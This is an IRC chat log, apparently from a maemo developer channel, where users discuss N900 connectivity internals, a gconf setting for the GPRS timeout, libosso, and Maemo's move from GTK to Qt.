| timeless_mbp | lcuk: you can see where my mind is :( | 22:14 |
| lcuk | i caught a glimpse but tbh timeless_mbp it scared me | 22:15 |
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| * thresh waves | 22:17 | |
| RST38h | moo thresh | 22:17 |
| thresh | i was wondering if anyone set up an tftp server on n900 | 22:18 |
| thresh | i need to install debian on my eeepc and i dont have any other devices to run tftp on or usb flash drives to boot from =) | 22:19 |
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| Stskeeps | should be possible, but i'd watch out for PSM | 22:19 |
| johnsq | thresh: you can use the n900 as usb drive? | 22:19 |
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| Stskeeps | or that | 22:19 |
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| BCMM | not sure if you could make it bootable without a fair bit of hacking | 22:20 |
| thresh | johnsq: yes, but I don't have any microSD cards | 22:20 |
| thresh | that, too | 22:20 |
| ManoftheSea | Hey guys. | 22:21 |
| BCMM | does it look like a partition USB MSC device, or a partition-fills-disk one? | 22:21 |
| BCMM | if it were the latter, i imagine any attempt to make it bootable would mess up MyDocs | 22:22 |
| BCMM | ^partitioned | 22:22 |
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| ManoftheSea | I'm trying to understand this connectivity architecture, and wondered if anyone could give help. | 22:25 |
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| ManoftheSea | I understand how the Wifi interface works (n900, if it matters) | 22:25 |
| Stskeeps | shoot | 22:25 |
| Stskeeps | :P | 22:25 |
| ManoftheSea | But the cell data confuses me. | 22:25 |
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| ManoftheSea | It's saying something about using Bluetooth DUN. | 22:25 |
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| ManoftheSea | In the N900, then, the data connection is made by external hardware and it just sends/receives by bluetooth? | 22:26 |
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| zokier | whats saying so? | 22:26 |
| ManoftheSea | http://62.61.85.167/platform/docs/howtos/howto_connectivity_guide.html#IAP | 22:26 |
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| ManoftheSea | does this not apply to the n900? | 22:26 |
| Stskeeps | think you're looking at some quite old documentation | 22:27 |
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| DocScrutinizer51 | also IP address?? | 22:28 |
| ManoftheSea | ok. | 22:28 |
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| ManoftheSea | Yeah, I'm not sure either. | 22:28 |
| ManoftheSea | I started at maemo.org | 22:28 |
| ManoftheSea | and started reading. | 22:28 |
| DocScrutinizer51 | ManoftheSea: I gatheryou don't own a N900 | 22:29 |
| ManoftheSea | It is not mine. | 22:29 |
| ManoftheSea | I do have one. | 22:29 |
| ManoftheSea | Why? | 22:29 |
| DocScrutinizer51 | because connecting to GSM is easy as milk on the N900 | 22:30 |
| ManoftheSea | oh yes, from the user perspective. | 22:30 |
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| ManoftheSea | I'm trying to understand how it treats it on the internal. | 22:30 |
| Stskeeps | ManoftheSea: http://library.maemodocs.nokia.com/fremantle/index.jsp | 22:30 |
| Stskeeps | under SDK -> API -> C api -> Connectivty | 22:30 |
| ManoftheSea | oh hey, this is more like documentation I'm used to. | 22:31 |
| MohammadAG_ | LOL http://talk.maemo.org/showthread.php?p=650809 | 22:31 |
| ManoftheSea | Has anyone thrown around the idea of using the FM transmitter and receiver to network two n900s? | 22:32 |
| ManoftheSea | oh wait... FM transmitter is analog, right? | 22:32 |
| Kegetys | easier to just use wlan or bluetooth | 22:32 |
| DocScrutinizer51 | hooraz Stskeeps this page is fubar on N900 | 22:32 |
| ManoftheSea | bleh, I'm not writing a modem. | 22:32 |
| ManoftheSea | Kegetys: easier, yes. I'm interested in interesting. | 22:33 |
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| ManoftheSea | but also, can't send and receive at the same time. | 22:33 |
| pupnik | lets get more fun cell radio info onscreen | 22:33 |
| lcuk | binary to speech to radio to wav to speech recognition to binary | 22:33 |
| ds3 | there is a basic modem in the linux kernel tree or at least at one point | 22:33 |
| DocScrutinizer51 | FM TX has a range of <5m | 22:33 |
| MohammadAG_ | Stskeeps, does Mer keep all drivers from Ubuntu? | 22:33 |
| lcuk | does radio rc have signal strength indicator? | 22:34 |
| pupnik | ManoftheSea: the idea is clever, since i had it too | 22:34 |
| ManoftheSea | DocScrutinizer51: oh, I don't believe it has ANY advantage over wlan or bt | 22:34 |
| lcuk | rx | 22:34 |
| ManoftheSea | except "check this thing out" | 22:35 |
| Stskeeps | MohammadAG_: modules? no | 22:35 |
| MohammadAG_ | Stskeeps, http://talk.maemo.org/showpost.php?p=650801&postcount=811 | 22:35 |
| Stskeeps | no, same kernel | 22:35 |
| MohammadAG_ | bah | 22:36 |
| lcuk | did bman use the normal kernel for his ubuntu/f12 stuff? | 22:36 |
| lcuk | or did he change it to the stock one | 22:36 |
| lcuk | errr normal maemo vs proper for the distro | 22:37 |
| Stskeeps | probably same kernel | 22:37 |
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| b-man|laptop | i used the default maemo kernel. yes | 22:38 |
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| ManoftheSea | Is there something that tells what all these daemons do? | 22:39 |
| b-man|laptop | i don't think it really matters which kernel you use with fedora :P | 22:39 |
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| ManoftheSea | Like, I sorta know what d-bus is. | 22:39 |
| ManoftheSea | But osso? | 22:39 |
| Robot101 | osso is what the maemo department used to be called | 22:41 |
| korhojoa | what is osso. that's what i've been trying to figure out | 22:41 |
| Robot101 | open source software operations | 22:41 |
| korhojoa | ah-ha! | 22:41 |
| ManoftheSea | libosso? | 22:41 |
| Robot101 | so libosso is osso's library, that's all :P | 22:41 |
| ManoftheSea | anyway, gotta part. Will be back later. | 22:41 |
| * ManoftheSea stays connected. | 22:41 | |
| lbt | OK, who's not +1'ed my OBS post on http://maemo.org/news/planet-maemo/ | 22:42 |
| Robot101 | you can tell it's old because of the name, and it's full of total insanity | 22:42 |
| Robot101 | like connecting twice to d-bus and taking a name on both session and system buses? why? we just don't know | 22:42 |
| * GAN900 wonders why docs.google.com is in Chinese. | 22:43 | |
| Stskeeps | Robot101: one bet would be mce communications | 22:44 |
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| pupnik | travelling on train in finland today, N97 mini kept a connection while N900 lost it 25 times | 22:47 |
| Stskeeps | adjust gprs timeout | 22:47 |
| Stskeeps | it does wonders | 22:47 |
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| pupnik | hmm ty Stskeeps - where? | 22:48 |
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| Stskeeps | there's a gconf setting for it.. i mentioned it somewhere in the logs | 22:48 |
| Stskeeps | sec | 22:48 |
| pupnik | i am looking also | 22:49 |
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| Robot101 | Stskeeps: you don't need a name to do communications though | 22:50 |
| Stskeeps | true | 22:51 |
| Stskeeps | pupnik: /system/osso/connectivity/network_type/GPRS/gprs_no_coverage_timeout | 22:51 |
| Stskeeps | i upped it to 10 minutes, does wonders in polish metros | 22:51 |
| pupnik | THANKS | 22:52 |
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| pupnik | /system/osso/connectivity/network_type/GPRS/gprs_no_coverage_timeout | 22:52 |
| pupnik | oops | 22:52 |
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| b-man|laptop | hehe | 22:53 |
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| b-man|laptop | gah, i wish Nokia provided the source rpm's for meego's n900-specific open source packages - i wouldn't have to mess around with grabbing a bunch source package from the fremantle repo and create .spec files from scratch for all of those packages | 22:58 |
| b-man|laptop | but i guess it's good practice :) | 22:58 |
| BCMM_ | is there a manual/help page for Evince for maemo? | 22:59 |
| Stskeeps | b-man|laptop: hmm? | 22:59 |
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| Stskeeps | b-man|laptop: they should be open source | 22:59 |
| BCMM_ | especially keybindings | 22:59 |
| Stskeeps | hang on | 22:59 |
| Stskeeps | b-man|laptop: you're right, they're not there | 23:00 |
| Stskeeps | that's a mistake | 23:00 |
| b-man|laptop | Stskeeps: it's a good thing i pointed that out then :) | 23:00 |
| b-man|laptop | i thought that was quite strange xD | 23:00 |
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| DocScrutinizer51 | burrrrp | 23:06 |
| Stskeeps | b-man|laptop: could you file a bug for it? | 23:06 |
| Stskeeps | on meego.com | 23:06 |
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| b-man|laptop | Stskeeps: sure :) | 23:08 |
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| ManoftheSea | ok, back with more questions. | 23:13 |
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| ManoftheSea | Like: Does the cell device/driver/hardware let me see how loud my phone is? | 23:14 |
| SpeedEvil | Stskeeps: what does that do? | 23:14 |
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| ManoftheSea | the quality of my connection? Cell specific details? | 23:14 |
| SpeedEvil | Stskeeps: (osso-con) | 23:14 |
| SpeedEvil | ManoftheSea: some of it | 23:14 |
| SpeedEvil | ManoftheSea: dbus --system | 23:15 |
| Stskeeps | SpeedEvil: it increases how sensitive the stack is to timeouts, ie, i can set so my gprs connection doesn't time out if it is out of coverage for 10 minutes | 23:15 |
| Stskeeps | the current one is like 1-2 minutes i think | 23:15 |
| SpeedEvil | ManoftheSea: dbus-monitor --system | 23:15 |
| SpeedEvil | Stskeeps: So the IP doesn't change for you? | 23:15 |
| Stskeeps | SpeedEvil: right | 23:15 |
| SpeedEvil | Stskeeps: Nice. | 23:16 |
| SpeedEvil | Stskeeps: I wish there was more fine grained policy. | 23:16 |
| Stskeeps | SpeedEvil: it isn't foolproof but it helps things a lot | 23:16 |
| Stskeeps | ie, i can roll into a station and it picks up where my ssh left off | 23:16 |
| Stskeeps | which was impossible before :) | 23:16 |
| lbt | Stskeeps: is base-files open? on gitorious | 23:17 |
| Stskeeps | lbt: should be | 23:17 |
| Stskeeps | not sure if it's on gitorious | 23:17 |
| Stskeeps | http://talk.maemo.org/showthread.php?p=650855#post650855 , link doesnt work btw | 23:17 |
| lbt | OK, I'll keep looking | 23:17 |
| SpeedEvil | Stskeeps: For example, my DSL dies often at around midnight. Ideally I'd like to say 'never roam onto wlan if it's between 10PM and 2AM, and the user has gone to another connection'. | 23:18 |
| lbt | damn, works here.. | 23:18 |
| pupnik | nice applet idea SpeedEvil | 23:18 |
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| ManoftheSea | cell_info_change? | 23:18 |
| Stskeeps | lbt: as in, the link inside your post | 23:18 |
| SpeedEvil | Stskeeps: Though 'never roam onto if user has specified another info connection' | 23:18 |
| adalal | hey, any reason why titan's kernel would have teh 125 mhz disabled? | 23:18 |
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| lbt | yes... it doesn't work for you? | 23:19 |
| ManoftheSea | Is there an explanation of this struct? | 23:19 |
| SpeedEvil | adalal: Many people have found 125m unstable | 23:19 |
| Stskeeps | Stskeeps, you do not have permission to access this page. This could be due to one of several reasons: | 23:19 |
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| lbt | I see... I posted it via email integration... not surprising no-one uses it then | 23:19 |
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| Stskeeps | (and no, i didn't go out and call the admins of tmo idiots..) | 23:20 |
| Stskeeps | :P | 23:20 |
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| BCMM_ | any idea how to escape from fullscreen in Evince? | 23:22 |
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| lbt | that should fix it Stskeeps | 23:25 |
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| Stskeeps | yeah | 23:26 |
| DocScrutinizer51 | wow, seamless 2_->3G handover | 23:26 |
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| pupnik | BCMM_: ctrl-backspace? | 23:27 |
| * lbt reboots N900 to see if he can use wifi | 23:28 | |
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| DocScrutinizer51 | SpeedEvil: tweakr should learn to handle much broader 'profiles' | 23:30 |
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| SpeedEvil | ideally, yes. | 23:30 |
| ManoftheSea | like different ringtones? | 23:30 |
| DocScrutinizer51 | kinda like policyfmanager | 23:30 |
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| opdf2 | I wanted to edit a python script in hildon-desktop. Is it safe to just upload the edited script wireless sftp while n900 is running? | 23:31 |
| DocScrutinizer51 | s/f/-/ | 23:31 |
| infobot | DocScrutinizer51 meant: kinda like policy-manager | 23:31 |
| SpeedEvil | But getting to there is hard, given all of the closed stuff. | 23:31 |
| DocScrutinizer51 | opdf2: what should happen? | 23:31 |
| DocScrutinizer51 | SpeedEvil: acdk, plus all the missing docs for the closed stuff | 23:32 |
| SpeedEvil | That too. | 23:32 |
| SpeedEvil | It's damn frustrating. | 23:32 |
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| * DocScrutinizer51 seems to remember something called dwimd | 23:33 | |
| SpeedEvil | In some ways this feels like openmoko-sw again. Though this time it's the closed bits, not the kernel that's broken. | 23:33 |
| lbt | sounds perl-ish DocScrutinizer51 | 23:33 |
| DocScrutinizer51 | dwimd? nah a python app | 23:34 |
| SpeedEvil | (and of course - the change in toolkits) | 23:34 |
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| DocScrutinizer51 | yep :-S | 23:34 |
| SpeedEvil | import mindreading | 23:35 |
| DocScrutinizer51 | but this time nobody will ever blame me or my company :-P | 23:35 |
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| DocScrutinizer51 | SpeedEvil: you got no idea how bored to death I feel on all the 'ohnoes they move to qt - they avandoned us' whining | 23:37 |
| DocScrutinizer51 | so much for switch of default toolkit | 23:37 |
| SpeedEvil | yes - this time it was fairly well signposted - reasonable amount of notice. | 23:37 |
| DocScrutinizer51 | SpeedEvil: you scutinized the diff egoshin posted? | 23:39 |
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| DocScrutinizer51 | I wonder what that locked-regs story is all about | 23:41 |
| SpeedEvil | DocScrutinizer: no | 23:42 |
| ManoftheSea | on that topic... I'm looking at a helloworld that's talking about gtk | 23:43 |
| ManoftheSea | QT would be a replacement for that? | 23:43 |
| SpeedEvil | yes | 23:43 |
| ManoftheSea | but they both do about the same thing? | 23:43 |
| SpeedEvil | Though gtk apps will also work as I understand it. | 23:43 |
| SpeedEvil | Basically, yes. | 23:43 |
| ManoftheSea | And they can both create apps that work on n900? | 23:43 |
| ManoftheSea | thank you | 23:43 |
| SpeedEvil | However - GTK apps wil have a much larger RAM footprint after the change | 23:43 |
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| ManoftheSea | I think I understand that. | 23:44 |
| DocScrutinizer51 | and probably more fun | 23:44 |
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| ManoftheSea | we're moving from gnome to KDE? | 23:45 |
| ManoftheSea | Ready for noob questions? | 23:45 |
| ManoftheSea | If maemo 5 is based off debian, can I apt-get debian command line tools? | 23:45 |
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| * DocScrutinizer51 wonders if there are chances for a gtk->Qt compatibility layer lib. So 'porting' gtk apps would become a snap | 23:46 | |
| * SpeedEvil wondered that a couple of days ago | 23:47 | |
| DocScrutinizer51 | ManoftheSea: depends. sometimes might work | 23:48 |
| Jaffa | DocScrutinizer51: What'd be the point? Just install Gtk ;-) | 23:48 |
| SpeedEvil | Jaffa: The point is that libraries cost memory. | 23:48 |
| DocScrutinizer51 | Jaffa: systray | 23:48 |
| DocScrutinizer51 | etc | 23:48 |
| ManoftheSea | when is the switch to qt? | 23:50 |
| SpeedEvil | Jaffa: For example - a quick look seems like a GTK program has a footprint of ~6M - with all the gtk libs. | 23:52 |
| Robot101 | ManoftheSea: it's not KDE, it's Qt... there's a difference | 23:52 |
| ManoftheSea | Robot101: I don't know the difference. | 23:53 |
| SpeedEvil | Jaffa: (the second GTK program of course halves this, ...) | 23:53 |
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| ManoftheSea | I thought gtk->qt was similar to gnome->KDE | 23:53 |
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| Robot101 | ManoftheSea: yeah, but maemo was never gnome, it was just another user of gtk | 23:53 |
| SpeedEvil | ManoftheSea: It's more like termcap -> ncurses | 23:53 |
| Robot101 | ManoftheSea: it has some parts of gnome in it, and even some are staying with moving to qt, but nothing much from kde is being used | 23:53 |
| Jaffa | SpeedEvil: I think it's reasonable to expect, though, that many users of Harmattan devices will have both in memory most of the time and beyond that timescale the number of Gtk apps will (hopefully) be dwarfed by Qt ones. | 23:55 |
| ManoftheSea | ok, sorry. | 23:55 |
| Jaffa | Anyway, bedtime. | 23:55 |
| Jaffa | It's an interesting idea, of course. | 23:55 |
| ManoftheSea | but the qt libraries are or aren't in fremantle? | 23:56 |
| DocScrutinizer51 | yes they are (aiui) | 23:57 |
| opdf2 | i wanna do wireless sync for my n900 through sftp. Is it recommended to login with "user" instead of "root" for MyDocs access? | 23:57 |
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| timeless_mbp | Robot101: well, is KOffice part of KDE? | 23:59 |
| timeless_mbp | because some portion of KOffice is coming :) | 23:59 |
| timeless_mbp | opdf2: use an ssh key | 23:59 |
| timeless_mbp | and don't use root | 23:59 |
| Robot101 | oh, yes that's true - had forgotten about that. that's cool :) | 23:59 |
| DocScrutinizer51 | probably such a compatibility lib should have some nagging built in (or get a 30day quarantine penalty) so devels move to qt eventually | 23:59 |
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